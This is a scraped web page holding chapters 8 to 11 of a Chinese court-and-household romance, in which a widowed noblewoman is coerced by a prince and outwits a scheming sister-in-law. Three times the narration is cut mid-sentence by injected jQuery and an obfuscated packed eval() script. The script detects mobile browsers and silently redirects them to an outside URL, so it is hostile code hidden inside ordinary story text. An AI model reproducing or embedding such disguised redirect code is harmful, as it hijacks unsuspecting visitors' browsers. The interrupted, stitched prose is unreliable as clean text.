$(''#content'').append('' p> 陈淑芸动作一顿。 丝丝缕缕的苦味逐渐在她的唇齿之间蔓延开来。 沉默着喝尽了杯中茶水，陈淑芸将见了底的茶盏放在身旁案几上，抬手拿绣帕按了按唇角。 “妹妹好福气。” 江葭垂眼笑道：“再如何也比不上姐姐儿女双全的好福气。” 陈淑芸愣了一瞬，随即意识到她这话说得的确不错。自己前几日多了个庶女，只不过一想到那个贱人所出的孩子未来也要唤她一声母亲，陈淑芸突觉胃里翻江倒海，恶心得紧。 她眉眼间彻底冷淡下来，眯了眼打量江葭许久，而后一字一句道： “这话可莫说早了，依我说，妹妹的福气还在后头。” 江葭微蹙眉头。 “今儿时候也不早了，淳哥儿没见着娘亲又该哭闹了，我今日便先回去了。” 说罢，便起了身。 江葭扬声示意瑞珠出屋送客。 想着陈淑芸那话，她心内不解。 以老夫人如今的态度，陈淑芸能说出这话也不稀奇，只是细究来，方才她的语气与眼神都颇有些意味深长。 实在想不清楚症结所在，江葭心道，也罢，且边走边看，左不过兵来将挡水来土掩便是。 . 听竹阁。 碧云抱着临走时瑞珠塞来的一小罐茶叶，正准备将它放在案几上：“夫人，这茶……” 哐当一声。 地面上瓷片横陈。 碧云下意识惊呼一声，向后退了一步。 “夫人息怒。” 陈淑芸双手撑在案几上，胸脯剧烈起伏着。 “你以为她是好心？”她抓着案几边缘的手渐渐收紧，“分明是拐着弯告诉我她如今身后有老太太为她撑腰了。” 碧云不敢言语。 “我从前当真是小看这江氏了。平日不声不响的，不成想倒是个厉害角色。” 她揉着额角，头疼欲裂。 碧云见状，连忙寻药过来，给她服下。 待她缓过来了些，碧云开口：“夫人何不袒露实情？若是知晓是谁要见她，届时那江氏岂敢不去？” “不成。”她毫不犹豫。 经过这些天的试探，她心中清楚，江氏不是个轻易妥协的。 不过，若是那人真动了心思，凭他的手段和心思，届时哪还有江氏说不的余地。若果真如此，江氏的造化何止于一个强弩之末的侯府。 所以如非万不得已，她不愿和江氏撕破脸皮。至少现在仍为时尚早。 她沉声：“这事本就棘手，你且退下，容我好好想想。” 8. 第8章 此后又消停了几日。 江葭对此自然喜闻乐见，如此她才能清净度日。 除此之外，近来有两桩好消息。 其一是杜氏的病情逐渐好转，已可以下床走动了。 前些日子天气寒凉，她旧病复发，卧床不起。江葭自然不能对她不闻不问。相反，她一直尽心尽力地照顾着杜氏的病情。婆媳之间的关系虽算不上特别亲厚，但也绝不浅薄。两个苦命的女人，在偌大一个侯府互相照拂，如今也有了相依为命的意味。 其二则是前线传来的捷报。 王师势如破竹，连日攻克下数座城池，迫使敌军败走塔尔城。江渝骁勇，颇得主帅赏识，立下了赫赫战功。江葭将他寄来的家书看了一遍又一遍，欣慰的同时又不免担心。他能得到主帅赏识固然是好，只是她极其了解这个弟弟，知晓他性子直率冲动，容易意气用事，是以福祸相依，他如今得到重用也不一定是件好事。 但江葭明白自己此时什么也做不了，只能收起家书，默默祈祷阿弟平安归来。 . 晋王府，幕僚正在就朝堂方取胜的这场战役争执不下。 眼看众人又要争吵起来，陈续宗冷冷出声：“够了。” 一众幕僚立刻噤了声。 “塔尔城一役本就艰难，朝廷的赏赐容不得丝毫延误。” 一锤定音，众人不再有异议。 有人迟疑着问了句：“王爷，孔家那小公子延误军机，按例当罚。” 陈续宗直接了断：“告诉李文忠，将他遣回京城。至于他的位置……” 常喜会意，连忙递上名册。 陈续宗垂眼，扫过长长一串名字，伸手一指：“让他顶上吧。” 常喜面无表情地收起名册，隔绝了众人打探过来的眼神。 “今日就到这儿。” 明眼人都瞧得出晋王今日心绪不佳，一个个自是走得比谁都快，唯恐那人迁怒到自己身上。 他们或许不知个中缘由，常喜却是清楚。 生母忌辰，为人子女的又岂会好受。 看着王爷缓步走至窗边，眸色沉沉地看着窗外雪景，半晌都一言不发，常喜便知晓他心中有事，静默着退开了些，垂首候在一旁。 窗外风雪声簌簌，令他无端想起了弘泰十八年的那场雪。 那年的冬，王爷实在是经历了太多。 方南下平了乱，又北上为生母奔丧，随即被圣上破例封了本朝第一位异姓王，再后来…… “备轿，去资善堂看看。” 常喜思绪中断，猛地回过神来。 资善堂是长公主身前的心血，自她薨逝后，皇帝便将资善堂的一应事务交由王爷打理。如此一来，资善堂的事务也就归属于王爷日常政务的范畴之内了。 即便是生母忌辰，王爷依旧要如往日一般处理政务。近来战事吃紧，朝堂上亦是风云诡谲。一旦流露出疲态，留下了错处，兴许便会被他人抓住把柄。 所以他从不沉溺于个人情绪之中，做无谓的消耗。 从前不会，将来更不会。 . 通往资善堂的路上风雪更大了些。 常喜哈了口气，心想今冬较往年明显冷些。当视线定格到不远处时，极其明显地，他感受到周身气氛陡然一冷。 隔着风雪，常喜深深吸了口气，心想二皇子哪来这么大的胆子？ 得到王爷的吩咐后，他不敢耽搁，皮笑肉不笑地将人请到了偏殿。 殿内暖气烧得足。 被请至偏殿的赵钦惶恐至极。 陈续宗端坐上首位置，向身侧更漏处看了一眼：“现在是什么时辰了？” 赵钦讷讷不敢言，一旁的常喜觑着脸色做了回答：“未时二刻。” 陈续宗沉声：“我朝皇子哪个不是卯入申出。方未时二刻，你便不在资善堂内温书，可有想过圣上得知此事之后将会如何罚你？” 赵钦一惊，心中暗道不好，连忙哀求道：“堂兄，您千万不要将这事告知父皇。” 陈续宗低头看他许久，眸色深沉难测，半晌方道：“罢了。” 这边赵钦方放下心来，冷不丁又听他问道：“方才和你说话那人看着可不像是宫女的装束，怎么回事？” 赵钦抽了口冷气。他闭眼，知晓这回不似上次那般好搪塞了。 “武安侯府的谢老夫人是母妃的族亲，我今日恰好见着她身边的贴身侍女，遂说了些话罢了。” 陈续宗眼眸沉了沉，不过终究是没再说什么。 赵钦长长舒了口气。 “圣上近来正在为你选妃之事费心劳神，都要开府成亲的人了，合该稳重些。” 提起这事，陈续宗一顿，语气加重了几分：“后宅不宁则必定生乱，你是皇子，娶妻纳妾定当慎重，断不可容忍品行不端之人近身。” 赵钦乍一听觉得他这话说得不错，正要附和，转而又察觉出他话中有话，分明是意有所指，心中古怪。 见他久久没有回应，陈续宗微挑眉梢，唤了他一声。 赵钦思绪回笼，忙道：“堂兄说的是。” 就在他以为这事要就此揭过时，又听陈续宗问：“可是有了心上人？” 看他那支吾的模样，陈续宗心下了然，不觉意外。 他垂眼，微转了转手中的扳指，似是随意道：“若是京城世家贵族中的女儿，不妨同圣上主动提起，做个侧妃也使得。” “堂兄，这事使不得。” 他的语气颇有些苦涩。 “哦？为何使不得？身份若是低些，这也无妨，便从侍妾做起。” 赵钦面色依旧苦涩难言。 “她……身份有些特殊。” “如此看来，你与她地位悬殊，”陈续宗微顿，继续道，“若她只是看中了你的权势地位，你当如何？” 赵钦根本来不及细想：“那又有何妨。更何况她最是看轻权势地位，绝不是这般粗浅之人！” 陈续宗垂下目光，定定地看着他，眸底有些许凌冽寒意。 窗外的风雪拍打着窗楹呼呼作响，殿内的沉寂让人颇为难捱。常喜大气也不敢出，恨不能将头埋得更低些。 赵钦心跳如擂鼓，把说过的话在脑海中又细细过了遍，确认自己没有说漏嘴，方稍放宽了心。 半晌才听对面那人不辨情绪道：“回资善堂吧。” 赵钦如临大赦，连忙出了偏殿。 常喜关上殿门，听候吩咐。 “今日资善堂内的太监宫女，该罚的罚，该打的打。还有纪兆兴那边，派个人去敲打他。” 常喜心下一凛，垂首应下。 陈续宗沉默许久。 偏殿灯光昏暗，常喜抬头，看不太清他的神色。 “武安侯府那边，还没传来消息吗？” 常喜答没有，心想，这才七日不到。 “派人去催。” 常喜准备应下，又听陈续宗吩咐了句：“还有一件事交给你去办。” 他的手指不轻不重地敲着桌案，似在沉思，半晌才道：“派人去查他们之间有何过往，近些年的往来都务必查清楚些。” 常喜心内不由一突，下意识抬头看向坐在身侧的主子。 看清他眸底寒色的那一瞬间，常喜心领神会，连忙应下，顶着风雪出了偏殿。 到底是他多想了。 . 进入二月，天气愈发寒冷。 京城昨夜下了场大雪。经了一夜，院内已是狼藉。 瑞珠在屋外忙着指挥丫鬟婆子扫除地面上的积雪，见院内收拾得差不多了，方掀开毡帘，搓着手进了里屋。 江葭搁下手中毛笔，将她细细打量一遍：“瞧你，都冻成什么样了。” 一边说着，一边将手炉塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040668|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到瑞珠手上。随后自顾自感叹一声：“我来了京城才知祖母先前说的不错，宣州的冬哪有京城这般寒冷。” 瑞珠笑道：“老夫人是个有见识的，先前她说起京城的鹅毛大雪，您还不信呢。” 江葭道：“女儿家向来养在深闺中，自己出不去，外人也进不来。若听风便是雨，不知要信这世间多少奇闻异事。” “这倒也是。” 江葭双手托腮：“所以凡事要亲眼见到才为好，我从前便想着，若是能亲眼见到塞北的冬，江南的春，此生倒也无憾了。” 瑞珠怕她多愁善感起来，忙岔开话题：“说到这儿，姑娘可曾听说安玄寺来了位高僧？” 江葭颔首。她自然是听过。 “近来这事传得沸沸扬扬，也不知是真是假。” 江葭手上动作微顿：“原来是这样。” 见瑞珠不解模样，她补充道：“老夫人以往都是到紫和寺礼佛，这回却变了主意，先前我不解，如今倒是明了了。” 瑞珠恍然。 江葭见她这幅模样，不禁好笑道：“后日你随我一道，陪同老夫人到安玄寺礼佛，不就清楚这传闻是真是假了么？” 瑞珠笑着应下，主仆二人又凑到一处有说有笑起来。 谁知还没等到那日，瑞珠就莫名其妙地在屋门前摔着了腿。郎中为她开了药膏和方子，临走前反复叮嘱她要卧床静养。 江葭一时关心则乱，自然不会让她再来身前伺候。 这日恰逢老夫人去安玄寺礼佛的日子。老夫人那边又催得急，江葭只得匆匆登上软轿，并未安排丫鬟随身伺候。 残雪未消，树枝横斜，上山的路并不好走。 是以谢老夫人一行人直到正午才抵达半山腰。同行的女眷唯有江葭一人。 今日安玄寺内的香客出奇地少。江葭起初觉得纳罕，随即想到风雪交加，山路难行的缘故，略微放下心来。 住持迎走谢老夫人之后，一名小沙弥前来为她带路。 一路无话，鞋履踩过地上混着枝干的残雪，时而发出声响。不知走了多远，小沙弥将江葭带到了一处佛堂外，见她迟疑，了然笑道：“夫人许是平日都往大殿去，不过这些日子雪下得紧，大殿年久失修，破了一角，如今正在闭殿修缮之中。这处佛堂清幽安静，亦是个上香祈福的好地方。” 吱呀一声，门被推了开来。 “夫人往里走些便是。” 江葭微颔了首，缓步走了进去。 她抬眼打量周遭，忽而发觉这处佛堂的装潢与摆设都透露出些不同寻常。也罢，尽快上香，离开此地便是。 思索间，小沙弥已取了三柱清香，双手递了上前。 江葭侧身接了过来，走到烛火台前将香点燃，而后走到佛像前，双手举起香。 她所求不多，无非平稳二字罢了。 心中正默念，手中的一根香突然折断，掉落在地。 小沙弥年纪小，藏不住事，不由惊呼了一声：“夫人可有被烫伤？” 江葭下意识向后退了一步，定了定神，道了声无妨，又问道：“小师父，可否为我换一柱香？” 小沙弥微愣：“自是可以，不过佛堂内的香恰好已经用完了，若需换香，夫人需稍等片刻。” 江葭心绪杂乱，随意答了声好。 小沙弥快步出了佛堂，木门随之阖上，周遭再次归于寂静。 等待的过程漫长且煎熬。 江葭双腿有些发酸，寻了张木椅坐下。 随着时间流逝，依旧不见屋外有任何动静。她心内越发不安，索性起身，重又站到佛像前，如此，心内方略微安定下来。 大抵过了一炷香的时间，屋外隐约有了响动。 江葭想着许是小沙弥拿了香回来，心内微定。 身后的门被推了开来。 她松了口气，转身看向身后。 9. 第9章 看着门口的高大身影，江葭大脑一片空白。 当下情景令她如何不心惊？ 可不得不承认的是，这种感觉分明令她感到熟悉。一如既往的凝视与居高临下，像极了那人。 但这实在过于荒谬。 随着来者步步逼近，江葭的内心就一寸寸地发凉。 常喜见她愣在原地，深吸了口气，收了伞，喝道：“大胆，见到王爷还不行礼！” 心中的猜想到底还是成了真。 她顾不得惊恐，连忙垂下眼行礼，而后解释：“今日许是僧人认错路了，方来到此地惊扰了殿下，妾身这便退下。” 常喜还欲说话，却见主子微抬了手，拦在自己身前。他会意，立马噤了声，同时不由纳罕地看他一眼，随即埋头退出佛堂，顺带将门阖了起来。 屋门大开大合之间，冷风一股脑地灌了进来，令她遍体生寒。 从陈续宗的视角看过去，只可见得女子莹白的脖颈露在领外，无端晃着了他的眼。 他拨了拨手上扳指，不着痕迹地移开视线。 “起罢。” 话音落下，江葭只感到如芒在背，僵硬着直起了身。她只想尽快离开此地，更何况和晋王独处一室的情景实在太过荒谬，她只能想到是自己无意闯入此地，惊扰了晋王的缘故，再无其他。 奈何那人并非作此想法。 他不发一言，只是缓步走向檀木座椅，江葭便走也不是，留也不是。 陈续宗端起手边的茶盏，掀开茶盖。 江葭看着冒出热气的茶汤，蓦地意识到，今日或许并非什么偶然。 还未来得及深思，陈续宗突然打断了她的思绪：“江氏，你可知本王今日见你，是为何故？” 江葭只得收了思绪，强自镇定下来：“妾身不知。” 陈续宗沉声：“同二皇子私通，你可知罪？” 一瞬间的不可置信过后，江葭感到一阵阵的胆寒与恶心。 她袖下的手止不住地发抖，仍深吸一口气，勉强稳住声线：“殿下，女子的清誉非同儿戏。无凭无据，还请您慎言。” 陈续宗向后靠着椅背，闻言只是微挑了眉。 江葭不免难堪，袖中的手指紧蜷着，隐隐有些生疼。 可她强撑着，面上不愿显露半分。 陈续宗沉默片刻，随即又似想起什么，冷笑一声，寒声道：“本王若说是在宫中亲眼所见，你还有什么话可说？” 江葭愣了片刻，脑海极快回忆着，而后明白晋王话中所指。她觉着荒谬，这让她从何解释。 不，自己本就无错，又何须对他解释所谓的私会？ 本以为她竟如此默认了，陈续宗面色越发阴沉。 不想江葭沉默着，突然开了口：“殿下，世人对于自己没有做过之事解释不出一字半句，妾身亦是。所以对于殿下的问话，请恕妾身无话可说。” 清清冷冷的，竟教人隐约瞧出些风骨来。 陈续宗笑了。 “好一个无话可说。” 他垂眼阖上茶盖，缓缓道：“前些日子，二皇子求到本王面前来，恳求本王去游说圣上，将你纳入王府。本王当时便想，究竟是什么样的女子能让他念念不忘，今日一见，果然不凡。” 他原本看向窗外，说完这话，又挪回视线，瞥了一眼她，不紧不慢起了身。 果不其然，江葭脸色白了白。 她仍缄默，死死地盯着地面，知晓他还有话要说。 “不过，本王劝说他打消了此番念头。” 说完这话，陈续宗缓步走到江葭面前。 “所以，”他俯视着她，"你想如何报答本王？" 一角绣着五爪金龙的锦袍紧挨着她的裙角。 江葭低垂着眼，睫羽轻颤。 他逼近她的时候，她便下意识往后躲，不想脚跟恰巧撞上了身后的铜熏炉。 她退无可退，深吸口气，索性认命般阖上眼眸。 陈续宗似是对她的反应感到不满，屈指挑起她的下颌。 极其暧昧的动作，却不见丝毫的怜意。 江葭强忍着不适，迫不得已同他对视，随即又极快地别开视线。 清冽冽的眸子，此刻却夹杂着愠怒，为她这副芙蓉面平添了几分生气。 “妾身相信二皇子不会如此做，”她微顿，然后直视他的眼，“他不敢。” 陈续宗似是有些意外，眉梢一挑，一寸一寸地打量她素白姣美的面孔。 江葭沉默。 他目光继续在她面上刮着，最后落在她娇润的唇瓣上。 “与其……” 突然叩击的敲门声惊动了屋内的二人。 “王爷，军中急报。” 他抬眼看向窗外，落了手，径直绕过江葭大步走了，没有再看她一眼。 江葭仿佛失去所有力气般，委顿在地，双目空洞地看着大开的殿门。 殿外。 常喜领着陈续宗向外走，不发一言，心内思绪万千。 方才他本欲早些通报，不想不及他叩门，就听那江氏正在答话。 他无意听着了些，脊背冒出一层冷汗，一时哪敢敲门。 这些年来，自家主子同旁人说话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040669|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向来都是他说什么便是什么，更何况还是亲眼所见，这事便不容置喙了，哪还有江氏说话的余地？ 可这江氏非但说了，话里话外还都是说自己主子冤枉了她。 常喜下意识缩了缩脖子。这一切让他难以不多想，越想就越是心惊。 . 日头西沉。 江葭根本不记得自己是如何回到了候府。 回府后，她挥退了屋内伺候的丫鬟，独坐到天色全然昏沉。 屋外的声响骤然惊扰了她的思绪。 “夫人，时辰不早了，可要差人送膳食过来？”是瑞珠的声音。 江葭在屋内应了一声，瑞珠随即领着膳房的人进了屋。仆从鱼贯而入，迅速摆好膳食便退下了。 唯有瑞珠面露踌躇之色，几欲开口。 江葭抬眼，柔声开了口：“郎中不是嘱咐你卧床休息么？怎么还是来了跟前伺候。” 瑞珠极快答了声：“不妨事，”她一顿，彻底掩盖不住内心的担忧，急忙道，“倒是小姐手心的伤是怎么回事？” 江葭动作微顿，下意识拉住衣袖掩盖：“无妨，只是不慎磕着了。” 瑞珠狐疑着看她，又见她不欲再说，叹了声，便也不再问了，只瘸着腿去拿药膏。江葭见她面上模样，也知自己劝不动她，便噤了声。 待瑞珠为她上好药后，江葭温言宽慰：“你且放心，我身旁不缺人伺候，更何况你如今正是需要静养的时候，还是早些回去歇息为好。” 瑞珠欲言又止，又见小姐朝自己温婉笑笑，本欲坚持，最后只得依言退下。 江葭目送着瑞珠一瘸一拐的身影逐渐远去，面上笑意一丝丝地淡了下去。 方才不是她不欲告知瑞珠实情，只是今日这事让她如何说起？说与她听也只会徒增烦扰，于事无补。今日回府后她想了许久，这些日子来自己身旁有许多反常之处，更不用说今日这环环相扣的一切，可这世上哪有这般巧合。 她到底还是大意了些。不过，若果真如此，那人又是为了什么？她总觉自己还漏了些细节。 低头瞥见手心，泛红的印记刺痛了她的眼，格外分明地提醒着她今日所有的遭遇，白日的景象突然便如潮水般向她涌来。 她蓦地便想起那人临走前，顿了脚步，侧身留下一句意味不明的话： “你弟弟如今在军中，颇为骁勇，倒是个可用之才。” 再回想起那人说这话时的语气，江葭顿感从头到脚一片冰冷。 皇亲贵胄，如她这般普通官宦人家的女儿能拿什么与之对抗？ 她面色瞬间苍白如纸。 10. 第10章 从安玄寺回来之后，江葭一连病了几日。 最先知晓这事的是老太太。起初，观澜苑那边的说辞是江氏到安玄寺那日受了凉，回府后便觉身子不适。回想起她那日苍白的脸色，老太太倒也不觉奇怪。直到这病反复了好几日，她才逐渐品出些不对劲来。 老太太派去观澜苑诊病的郎中很快便提着药箱回了静安堂，素心在屋外和他交谈过后，匆匆进屋向老太太复命。 “可有什么要紧的病？”老太太垂眼拨着茶汤。 “目前看来，并无大碍。” 老太太哦了一声，也不再问，只道：“看来便是心病了。” 只不过心病还需心药治，至于这心药究竟是什么，只有江氏自己清楚，老太太无心探知。 她一辈子都活在这侯门深院之中，身边真病假病的人向来不在少数。真病有时要说成假病，假病有时也要说成真病，真真假假，如雾里看花，让人看不分明。总之都是为了生存罢了，又有何分别。曾经的自己如此，今日的江氏亦是如此。 生存当前，谁比谁高贵，谁又比谁低贱？ 老太太没来由地哂笑一声，不知是在笑谁。 “差人送些补品过去，让她好好养病。”老太太没带什么情绪地吩咐了声。 有了老太太的默许，江葭难得过了段安生日子。因着养病的名头，老太太免了她的晨昏定省，她便成日在院内看看书，同瑞珠说说话，一天的光景很快便也过去了。更要紧的是，她不必疲于应付宫中贵人，而是可以缓一口气下来，好好整理自己的思绪。 虽是贪图这般平静安宁的日子，江葭知晓其中分寸，终究没能病太久。 这日天气晴好，江葭的病也好全了。 碧云快步走过抄手游廊，掀开毡帘，进屋见夫人站在书案边指导安哥儿习字，微顿了脚步，唤了声夫人。 “这字写歪了些……”陈淑芸闻声抬了头，渐渐止了话音。 她放下手中宣纸，柔声对安哥儿道：“安哥儿今日习字也辛苦了，便先回去休息吧。”说罢，示意身旁丫鬟将儿子带出去。 安哥儿本就不耐至极，见母亲终于肯放自己回去，自是高兴，连忙跑出了屋。 屋内只剩主仆二人。 陈淑芸走到窗边，看着窗外雪景：“观澜苑那边可有什么风声？” 碧云一五一十说了。 陈淑芸听后轻嗤一声：“本以为那位有多大的本事，倒也是个胆小的。” 碧云站在主子身后，不敢言语。因着主子的缘故，她对观澜苑那位一向没什么好感。不过这回她可不敢苟同主子的说法。江氏再如何也只是个久居内宅的女子，同外男独处一室足矣令人惊心，更何况还是那么个人物。依她看，江氏能装作个没事人一般已是难得。 “府外可有消息传来？” 至于府外指的是什么，碧云自是清楚，她急忙拉回思绪，恭顺答道：“这些日子以来并未有消息传来。” 陈淑芸眼底划过一丝异色：“当真没有？” 碧云费解，而后迟疑着道：“如此不是正好合了夫人的意么？您先前说过，他二人都不是好相与的，周旋于他们之间无异于蹚入浑水。依奴婢看，如此倒也正好，既保全了小主子，夫人也不必再为这事提心吊胆了。” 陈淑芸下意识地捏紧手中帕子：“你说的是，该是我多想了，他想要什么样的女人还得不到。” 怎会偏要江氏呢？ 一番话究竟是发自肺腑，还是安慰自己，到头来连她自己也分不太清了。 这时，屋外丫鬟唤了声：“夫人，老夫人唤您到静安堂去。” 陈淑芸心中莫名，稍理了理衣裳，吩咐碧云同自己一道过去。 她赶到的时候，大房二房的人都已经到齐了。唯独久病的杜氏照旧没能出席。老太太也还在屋内更衣，暂未出面。 乍一看见江氏，陈淑芸顿了下脚步。细数起来，距离那事过后也过了好些日子了。说来也是古怪，今日再见到江氏，她莫名觉得内心不甚自在。 听闻碧云唤她的声音，陈淑芸骤然回过神来，掐了掐手心，强自压住内心的不适，脸上挂上一丝柔笑，向里屋走去。 屋内，吴氏原本正在同江葭说话，见是陈淑芸来了，蓦地止了话语，待她走近便端起茶盏，不露声色地错开眼神。 陈淑芸早已习惯吴氏这般待她，并不在意，只同江葭互相见礼。 吴氏抬眼在身旁二人之间打量了番，又低垂下头，浅啜了口茶。 她心内越发确信，这二人之间大抵生了龌龊。她心底冷笑一声，任凭陈淑芸先前如何上赶着拉拢人家，可江氏不领她这份情，她又能如何。 吴氏性子直爽，府中一众人等，一向最恶陈淑芸惺惺作态的做派。所以只要谁同陈淑芸为敌，她便高兴，也愿意同那人多加往来。她最近也想明白了，老太太如今虽喜爱江氏，可她到底无夫无子，自己又何必将她视作威胁？倒是陈氏，一惯装腔做派，暗地却常常给她使绊子，让她一想起从前的桩桩件件便来气。 思及此，吴氏敷衍着走了个过场，没再多看陈淑芸一眼，侧身继续同江葭说起了话。 “你如今可是有个弟弟？” 江葭答是。 吴氏眉梢带笑，似是与有荣焉：“我听侯爷提起过，你那位阿弟如今在军中屡立军功，颇得器重，当真是年少有为，前途不可限量。” “他好似还是李将军麾下，李将军如今可是晋王殿下的左膀右臂，若他日后也能成为晋王的得力干将，那又何愁平步青云啊！” 吴氏如打开了话闸子一般，正说在兴头上，根本无暇顾及江葭的神色：“届时江氏一族在京城之中必定也是水涨船高，想必说亲的人都会踏破门槛，”说及此处，她不知想起什么，叹了声，继续道，“不像我家中小弟，自小娇生惯养，如今倒成了只会斗鸡走狗的纨绔子弟，所以说妹妹这福气，我便是求神拜佛也求不来。” 江葭低垂着眼帘，勉强笑笑：“夫人不必如此想，各人皆有各人的命数。小公子自小生在锦绣堆中，较常人自是多些见识，兴许到了年岁方会有所显现。至于我阿弟，我倒不愿看他加官进爵，只愿他平平安安。” 吴氏淡笑不语，心内自是不信，也没太往心里去，只当是她的谦辞罢了。毕竟世间谁人不爱名利，又怎会有女子不愿母家扶摇直上？ 坐在一旁的陈淑芸将这一切尽收眼底。 她漫不经心地抚着鬓发，心中嗤笑吴氏当真是哪壶不开提哪壶。 “在聊什么如此高兴？” 珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040670|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘碰撞的声音分外清晰，谢老夫人扶着丫鬟的手自屏风后缓缓走出。 吴氏看了江葭一眼，也未细说，只笑道：“老夫人有所不知，儿媳方才正在向她道贺呢。” 老太太笑笑，打趣道：“就你贫嘴。” 这厢就此揭过，她今日另有要事要在她们三人面前提点。 “下月十五是皇后的千秋宴，届时你们三人都需同我到京郊行宫赴宴，不可缺席。” 至于旁的，老太太不便明说，她们也自能领会。且不提皇后前年整生日都未庆贺，如今圣上的身子骨都愈发不好了，哪还会有什么闲心来为皇后的生辰大操大办。 京城的显贵大抵也都心明眼亮，看得明白圣上此番不过是打着宫宴的名头为立储之事做准备。总之天家无情，政治目的总归要大于一切。 老太太接着又嘱咐了些话，无非是要求她们谨慎些，莫要出了差错。众人自是一一应下。 散了场之后，陈淑芸未与她人同行。 同碧云说话的间隙，她下意识抚上耳铛，突然意识到自己有一只耳铛不知何时落在了路上。 她翻了会衣袖也没找见，不免心急，忙抓住碧云的手：“你快沿路返回去找，看看能否找见一只红宝石式样的耳铛，那是姨娘留给我的嫁妆，你务必要找回来！” 碧云知晓那耳铛意义重大，不敢耽搁，连忙应下，正准备回头去找。 身后突然传来一道柔和的声音：“姐姐可是在寻这只耳铛？” 陈淑芸原本警惕的神色在看清江葭手上物件的瞬间变得柔和，忙走上前，伸手去接：“多谢……” 不想江葭突然抽回了手，陈淑芸愣了一瞬，脸色不免有些难看。 她僵硬地收回悬在半空中的手，看向面前女子，眸底难掩寒意：“妹妹这是何意？” 江葭上前，走到同她只有一步的距离方停下来： “前些日子瑞珠在门前摔着了腿，是姐姐的手笔吧？” 陈淑芸被她盯得发毛，忍了又忍，袖下的手紧攥着衣裙：“无凭无据，妹妹可莫要血口喷人。” 江葭没再言语，只递了个眼神给身旁丫鬟，随后她引着一个小丫鬟从假山后走了出来，唯唯诺诺地行礼。 江葭淡声：“将那丫鬟是如何吩咐你的一五一十地说出来，若有半句不实，便是任谁来也保不了你。” 那小丫鬟伏在地上，诚惶诚恐，应了声是。 她抬头仔细看了眼，突然指着碧云：“都是她指使奴婢的。” 话音刚落，碧云猛地抬起头，面色发白。 不待她开口辩白，那小丫鬟已在泣涕涟涟地说自己是如何被逼迫的，又是如何犯了糊涂，害得瑞珠那日在门前摔着了腿。 语毕，她言辞恳切，啜泣着道：“夫人，奴婢所言句句属实，若有半句不实，甘愿遭受天打雷劈！” 见对面主仆二人呆愣着，江葭看着陈淑芸，不紧不慢开了口：“夫人难道还需我拿出物证么？届时若还是不信，不如同我去老太太面前说个分明。” 碧云见状，面上难掩慌张，咬了咬牙，屈腿就要跪地：“此事皆是奴婢一人所为，同夫人毫无干系！” 陈淑芸紧皱了眉头，伸手拦住碧云，抬眼看向江葭：“够了，你究竟要如何才能罢休？” 11. 第11章 回到听竹阁许久后，陈淑芸仍旧头疼得厉害。一路上，她气得牙痒，又恨自己拿她无可奈何。 江氏要的，可不止一个道歉那么简单。 除开给她身旁那丫鬟的药膏，补品，还要整整三百两白银啊！ 陈淑芸的内心一抽一抽地疼。其实她出身富贵，加之如今嫁入高门，本是不愁生计。可她最近方瞒着夫君贴补了姨娘的母家，三房的财政窟窿已是越来越大，一时之间拿出这么多钱令她如何不头疼？ 她心底窝火，抬手就将手边的茶盏砸了出去。 即便心内恨极，她到底是害怕江葭将这事捅到老夫人那儿，不日将三百两银子送到了观澜苑。 江葭看着面前整整一箱的银子，伸手轻轻拂过，问道：“可清点过了？” 瑞珠应是，感叹道：“小姐当真是厉害，只是日后您同陈氏之间的相处难免会难堪些了。” 江葭微抬了眼，并不在意：“我此举不过是给她个教训，让她日后不敢再犯，否则她下一次要算计的绝不仅仅是你的腿了。” 当然，还有一层原因，她需要钱财，而且是非常需要。这是她的底气，是她在这世道难能抓住的东西。所以她必须紧紧抓牢，同时也是做好将来的打算。 毕竟侯府绝不是她的归处，至少，本也不该是。她还年轻，更何况天下之大，柳暗花明，她总有一日要走出这方天地。 瑞珠不知她心中所想，只是想着姑娘方才那番话，不免打了个寒颤。 江葭到底没有将心中所想说与她听，只道：“祖母自我幼时便教导我，面对恶人，你若不能让她明白欺侮于你的代价是什么，她下一次必然变本加厉。所以这三百两银子，一两也不能少，一定要让她心疼，让她牢记。” 瑞珠心内不禁叹服，自家姑娘虽看着是个不争不抢的性子，实则是个极有想法的。她还记得已故去的老太太曾无奈指着她，说她性子极倔，一旦有了主意便是任凭谁人也拉不回来。 不过毕竟过刚易折，瑞珠有时还是担心自家姑娘这性子会遭致祸端。她心内想，自己今后还是要适时提醒一下姑娘。 . 晋王府。 常喜候在书房外，仰头看着廊下珠帘状的雨水，兴致尚好，不过这般好兴致并未持续太久。 